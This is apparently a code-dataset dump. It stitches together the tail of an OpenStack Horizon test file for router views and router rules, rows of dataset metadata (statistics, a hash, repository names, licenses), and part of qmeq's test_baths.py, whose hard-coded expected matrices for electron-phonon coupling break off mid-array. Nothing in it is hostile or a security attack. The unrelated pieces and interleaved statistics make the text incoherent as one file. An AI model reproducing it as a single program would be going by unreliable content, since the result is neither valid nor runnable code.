router_update.AndReturn({'router': post_router})
self.mox.ReplayAll()
form_data = {'router_id': pre_router.id,
'source': rule['source'],
'destination': rule['destination'],
'action': rule['action'],
'nexthops': ','.join(rule['nexthops'])}
url = reverse('horizon:%s:routers:addrouterrule' % self.DASHBOARD,
args=[pre_router.id])
res = self.client.post(url, form_data)
self.assertNoFormErrors(res)
detail_url = reverse(self.DETAIL_PATH, args=[pre_router.id])
self.assertRedirectsNoFollow(res, detail_url)
@test.create_stubs({api.neutron: ('router_get',
'router_update')})
def test_router_addrouterrule(self):
self._test_router_addrouterrule()
@test.create_stubs({api.neutron: ('router_get',
'router_update')})
def test_router_addrouterrule_exception(self):
self._test_router_addrouterrule(raise_error=True)
@test.create_stubs({api.neutron: ('router_get', 'router_update',
'port_list', 'network_get')})
def test_router_removerouterrule(self):
pre_router = self.routers_with_rules.first()
post_router = copy.deepcopy(pre_router)
rule = post_router['router_rules'].pop()
api.neutron.router_get(IsA(http.HttpRequest),
pre_router.id).AndReturn(pre_router)
params = {}
params['router_rules'] = rulemanager.format_for_api(
post_router['router_rules'])
api.neutron.router_get(IsA(http.HttpRequest),
pre_router.id).AndReturn(pre_router)
router_update = api.neutron.router_update(IsA(http.HttpRequest),
pre_router.id, **params)
router_update.AndReturn({'router': post_router})
api.neutron.router_get(IsA(http.HttpRequest),
pre_router.id).AndReturn(pre_router)
api.neutron.port_list(IsA(http.HttpRequest),
device_id=pre_router.id)\
.AndReturn([self.ports.first()])
self._mock_external_network_get(pre_router)
self.mox.ReplayAll()
form_rule_id = rule['source'] + rule['destination']
form_data = {'router_id': pre_router.id,
'action': 'routerrules__delete__%s' % form_rule_id}
url = reverse(self.DETAIL_PATH, args=[pre_router.id])
res = self.client.post(url, form_data)
self.assertNoFormErrors(res)
@test.create_stubs({api.neutron: ('router_get', 'router_update',
'network_list', 'port_list',
'network_get')})
def test_router_resetrouterrules(self):
pre_router = self.routers_with_rules.first()
post_router = copy.deepcopy(pre_router)
default_rules = [{'source': 'any', 'destination': 'any',
'action': 'permit', 'nexthops': [], 'id': '2'}]
del post_router['router_rules'][:]
post_router['router_rules'].extend(default_rules)
api.neutron.router_get(IsA(http.HttpRequest),
pre_router.id).AndReturn(post_router)
params = {}
params['router_rules'] = rulemanager.format_for_api(
post_router['router_rules'])
router_update = api.neutron.router_update(IsA(http.HttpRequest),
pre_router.id, **params)
router_update.AndReturn({'router': post_router})
api.neutron.router_get(IsA(http.HttpRequest),
pre_router.id).AndReturn(post_router)
api.neutron.port_list(IsA(http.HttpRequest),
device_id=pre_router.id)\
.AndReturn([self.ports.first()])
self._mock_external_network_get(pre_router)
self._mock_network_list(pre_router['tenant_id'])
api.neutron.router_get(IsA(http.HttpRequest),
pre_router.id).AndReturn(post_router)
self.mox.ReplayAll()
form_data = {'router_id': pre_router.id,
'action': 'routerrules__resetrules'}
url = reverse(self.DETAIL_PATH, args=[pre_router.id])
res = self.client.post(url, form_data)
self.assertNoFormErrors(res)
class RouterViewTests(test.TestCase):
DASHBOARD = 'project'
INDEX_URL = reverse('horizon:%s:routers:index' % DASHBOARD)
def _mock_external_network_list(self, alter_ids=False):
search_opts = {'router:external': True}
ext_nets = [n for n in self.networks.list() if n['router:external']]
if alter_ids:
for ext_net in ext_nets:
ext_net.id += 'some extra garbage'
api.neutron.network_list(
IsA(http.HttpRequest),
**search_opts).AndReturn(ext_nets)
@test.create_stubs({api.neutron: ('router_list', 'network_list'),
quotas: ('tenant_quota_usages',)})
def test_create_button_disabled_when_quota_exceeded(self):
quota_data = self.quota_usages.first()
quota_data['routers']['available'] = 0
api.neutron.router_list(
IsA(http.HttpRequest),
tenant_id=self.tenant.id,
search_opts=None).AndReturn(self.routers.list())
quotas.tenant_quota_usages(
IsA(http.HttpRequest)) \
.MultipleTimes().AndReturn(quota_data)
self._mock_external_network_list()
self.mox.ReplayAll()
res = self.client.get(self.INDEX_URL)
self.assertTemplateUsed(res, 'project/routers/index.html')
routers = res.context['Routers_table'].data
self.assertItemsEqual(routers, self.routers.list())
create_link = tables.CreateRouter()
url = create_link.get_link_url()
classes = list(create_link.get_default_classes())\
+ list(create_link.classes)
link_name = "%s (%s)" % (unicode(create_link.verbose_name),
"Quota exceeded")
expected_string = "<a href='%s' title='%s' class='%s disabled' "\
"id='Routers__action_create'>" \
"<span class='glyphicon glyphicon-plus'></span>%s</a>" \
% (url, link_name, " ".join(classes), link_name)
self.assertContains(res, expected_string, html=True,
msg_prefix="The create button is not disabled")
| 44.389873
| 79
| 0.58589
| 3,708
| 35,068
| 5.302589
| 0.075243
| 0.051368
| 0.069576
| 0.030923
| 0.811972
| 0.769759
| 0.750636
| 0.725765
| 0.710202
| 0.691639
| 0
| 0.00264
| 0.297935
| 35,068
| 789
| 80
| 44.446134
| 0.795979
| 0.01902
| 0
| 0.71471
| 0
| 0
| 0.11517
| 0.033562
| 0
| 0
| 0
| 0
| 0.078752
| 1
| 0.063893
| false
| 0
| 0.013373
| 0
| 0.105498
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7c6b12baa1d27bcae43ce0538dcfe34cb0e2d0da
| 27,192
|
py
|
Python
|
qmeq/tests/test_baths.py
|
M-Josefsson/qmeq
|
f4f08864fc778de7c14b198c0ffbaafe33ce18f6
|
[
"BSD-2-Clause"
] | 1
|
2021-06-24T13:59:01.000Z
|
2021-06-24T13:59:01.000Z
|
qmeq/tests/test_baths.py
|
M-Josefsson/qmeq
|
f4f08864fc778de7c14b198c0ffbaafe33ce18f6
|
[
"BSD-2-Clause"
] | null | null | null |
qmeq/tests/test_baths.py
|
M-Josefsson/qmeq
|
f4f08864fc778de7c14b198c0ffbaafe33ce18f6
|
[
"BSD-2-Clause"
] | null | null | null |
from numpy.linalg import norm
from qmeq.indexing import StateIndexing
from qmeq.baths import *
from qmeq.tests.test_leadstun import ParametersDoubleDotSpinful
EPS = 1e-14
class ParametersDoubleDotSpinfulElPh(ParametersDoubleDotSpinful):
def __init__(self):
ParametersDoubleDotSpinful.__init__(self)
self.nbaths = 2
self.velph = {
(0,0,0):1, (0,1,1):2, (0,0,1):1j, (0,1,0):1j, # bath 1, spin up
(1,0,0):3, (1,1,1):4, (1,0,1):2j, (1,1,0):2j, # bath 2, spin up
(0,2,2):1, (0,3,3):2, (0,2,3):1j, (0,3,2):1j, # bath 1, spin down
(1,2,2):3, (1,3,3):4, (1,2,3):2j, (1,3,2):2j, # bath 2, spin down
}
def test_construct_Vbbp():
data = {'Lin': [[[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 2, 1j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1j, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 2, 0, 0, 0, 1j, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 4, 1j, 0, 0, 1j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1j, 3, 0, 0, 0, 1j, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 1j, 0, 0, 0, 0], [0, 0, 0, 0, 1j, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1j, 0, 0, 0, 3, 1j, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1j, 0, 0, 1j, 2, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1j, 0, 0, 0, 4, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 1j, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1j, 4, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6]], [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 4, 2j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 2j, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 4, 0, 0, 0, 2j, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 8, 2j, 0, 0, 2j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 2j, 7, 0, 0, 0, 2j, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0, 2j, 0, 0, 0, 0], [0, 0, 0, 0, 2j, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 2j, 0, 0, 0, 7, 2j, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 2j, 0, 0, 2j, 6, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 2j, 0, 0, 0, 10, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 2j, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2j, 10, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 14]]],
'charge': [[[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 2, 1j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1j, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 2, 1j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1j, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 4, 1j, 1j, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1j, 3, 0, 1j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1j, 0, 3, 1j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1j, 1j, 2, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 1j, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1j, 4, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 1j, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1j, 4, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6]], [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 4, 2j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 2j, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 4, 2j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 2j, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 8, 2j, 2j, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 2j, 7, 0, 2j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 2j, 0, 7, 2j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 2j, 2j, 6, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 2j, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2j, 10, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 2j, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2j, 10, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 14]]],
'sz': [[[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 2, 1j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1j, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 2, 1j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1j, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 4, 1j, 1j, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1j, 3, 0, 1j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1j, 0, 3, 1j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1j, 1j, 2, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 1j, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1j, 4, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 1j, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1j, 4, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6]], [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 4, 2j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 2j, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 4, 2j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 2j, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 8, 2j, 2j, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 2j, 7, 0, 2j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 2j, 0, 7, 2j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 2j, 2j, 6, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 2j, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2j, 10, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 2j, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2j, 10, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 14]]],
'ssq': [[[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 2, 1j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1j, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 2, 1j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1j, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 4, 1j, 1j, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1j, 3, 0, 1j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1j, 0, 3, 1j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1j, 1j, 2, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 1j, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1j, 4, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 1j, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1j, 4, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6]], [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 4, 2j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 2j, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 4, 2j, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 2j, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 8, 2j, 2j, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 2j, 7, 0, 2j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 2j, 0, 7, 2j, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 2j, 2j, 6, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 2j, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2j, 10, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 2j, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2j, 10, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 14]]]}
p = ParametersDoubleDotSpinfulElPh()
for indexing in ['Lin', 'charge', 'sz', 'ssq']:
si = StateIndexing(4, indexing=indexing)
baths = PhononBaths(p.nbaths, {}, si, {}, {}, {})
Vbbp = elph_construct_Vbbp(baths, p.velph)
assert norm(Vbbp - data[indexing]) < EPS
def test_rotate_Vbbp():
data = {'Lin': [[[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 1.5-1.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 1.5-1.0j, 0.0, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 3.0-1.7888543819998315j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5257311121191336, 0.0, 0.8944271909999155j, 0.0, 0.0, 0.0], [0.0, 0.0, -0.5, 0.0, 1.5+1.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.5-1.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 0.0], [0.0, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.5+1.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, -0.5257311121191336, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.8506508083520395, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.5-1.0j, 0.0, -0.5, 0.0, 0.0], [0.0, 0.0, 0.0, 0.8944271909999156j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.8506508083520395, 0.0, 3.0+1.7888543819998302j, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 0.0, 4.5+1.0j, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.5+1.0j, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 6.0]], [[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 3.5-2.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 3.5-2.0j, 0.0, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 7.0-3.577708763999663j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5257311121191335, 0.0, 1.788854381999831j, 0.0, 0.0, 0.0], [0.0, 0.0, -0.5, 0.0, 3.5+2.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 10.5-2.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 0.0], [0.0, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.5+2.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, -0.5257311121191336, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.8506508083520394, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 10.5-2.0j, 0.0, -0.5, 0.0, 0.0], [0.0, 0.0, 0.0, 1.7888543819998313j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.8506508083520391, 0.0, 7.0+3.5777087639996603j, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 0.0, 10.5+2.0j, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 10.5+2.0j, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 14.0]]],
'charge': [[[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 1.5-1.0j, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 1.5-1.0j, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, -0.5, 1.5+1.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, -0.5, 0.0, 0.0, 1.5+1.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 3.0-1.7888543819998315j, 0.0, 0.0, 0.0, -0.5257311121191336, 0.8944271909999155j, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, -0.5257311121191336, 0.0, 0.0, 0.0, 3.0, 0.8506508083520395, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.8944271909999156j, 0.0, 0.0, 0.0, 0.8506508083520395, 3.0+1.7888543819998302j, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.5-1.0j, 0.0, 0.0, -0.5, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.5-1.0j, -0.5, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 4.5+1.0j, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 0.0, 0.0, 4.5+1.0j, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 6.0]], [[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 3.5-2.0j, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 3.5-2.0j, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, -0.5, 3.5+2.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, -0.5, 0.0, 0.0, 3.5+2.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 7.0-3.577708763999663j, 0.0, 0.0, 0.0, -0.5257311121191335, 1.788854381999831j, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, -0.5257311121191336, 0.0, 0.0, 0.0, 7.0, 0.8506508083520394, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 1.7888543819998313j, 0.0, 0.0, 0.0, 0.8506508083520391, 7.0+3.5777087639996603j, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 